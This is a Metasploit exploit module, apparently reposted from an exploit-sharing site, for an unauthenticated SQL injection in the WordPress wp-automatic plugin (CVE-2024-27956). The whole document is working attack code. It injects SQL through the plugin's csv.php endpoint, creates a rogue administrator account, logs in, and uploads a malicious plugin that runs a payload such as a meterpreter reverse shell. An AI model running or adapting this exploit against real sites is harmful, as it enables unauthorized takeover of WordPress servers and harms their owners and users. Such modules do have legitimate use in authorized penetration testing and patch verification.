Share
## https://sploitus.com/exploit?id=1337DAY-ID-39800
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class SQLExecutionError < RuntimeError; end

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress wp-automatic Plugin SQLi Admin Creation',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions < 3.92.1)
          to achieve remote code execution (RCE). The vulnerability allows the attacker to inject and execute arbitrary SQL commands,
          which can be used to create a malicious administrator account. The password for the new account is hashed using MD5.
          Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control
          over the WordPress site.
        },
        'Author' => [
          'Rafie Muhammad',   # Vulnerability discovery
          'Valentin Lobstein' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-27956'],
          ['WPVDB', '53a51e79-a216-4ca3-ac2d-57098fd2ebb5'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-automatic/automatic-3920-unauthenticated-sql-injection'],
          ['URL', 'https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin/']
        ],
        'Platform' => %w[php unix linux win],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'DisclosureDate' => '2024-03-13',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'Username to create', Faker::Internet.username]),
        OptString.new('PASSWORD', [false, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
        OptString.new('EMAIL', [false, 'Email for the new user', Faker::Internet.email])
      ]
    )
  end

  def create_sqli_instance
    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
      execute_sql_query(payload)
    end
  end

  def execute_sql_query(query)
    formatted_query = query.strip.upcase.start_with?('INSERT') ? query : "SELECT (#{query})"
    response = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'inc', 'csv.php'),
      'method' => 'POST',
      'vars_post' => {
        'q' => formatted_query,
        'auth' => "\0",
        'integ' => Rex::Text.md5(formatted_query)
      }
    })

    raise SQLExecutionError, "Failed to execute SQL query: #{query}" unless response

    response
  end

  def upload_and_execute_payload(admin_cookie)
    plugin_name = Faker::App.name.gsub(/\s+/, '').downcase
    payload_name = Faker::Hacker.noun.gsub(/\s+/, '').downcase

    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    zip = generate_plugin(plugin_name, payload_name)

    print_status('Uploading payload...')

    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

    print_status("Executing the payload at #{payload_uri}...")

    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    send_request_cgi({
      'uri' => payload_uri,
      'method' => 'GET'
    })
  end

  def exploit
    create_sqli_instance
    wordpress_sqli_initialize(@sqli)

    begin
      username = datastore['USERNAME']
      password = datastore['PASSWORD']
      email = datastore['EMAIL']

      wordpress_sqli_create_user(username, password, email)
      wordpress_sqli_grant_admin_privileges(username)
      admin_cookie = wordpress_login(username, password)

      fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless admin_cookie

      upload_and_execute_payload(admin_cookie)
    rescue SQLExecutionError => e
      fail_with(Failure::UnexpectedReply, e.message)
    end
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    print_status('Attempting SQLi test to verify vulnerability...')

    create_sqli_instance

    begin
      if @sqli.test_vulnerable
        CheckCode::Vulnerable('Target is vulnerable to SQLi!')
      else
        CheckCode::Safe('Target is not vulnerable or the SQLi test failed.')
      end
    rescue SQLExecutionError => e
      print_error(e.message)
      CheckCode::Unknown('Failed to verify SQLi vulnerability due to an error.')
    end
  end
end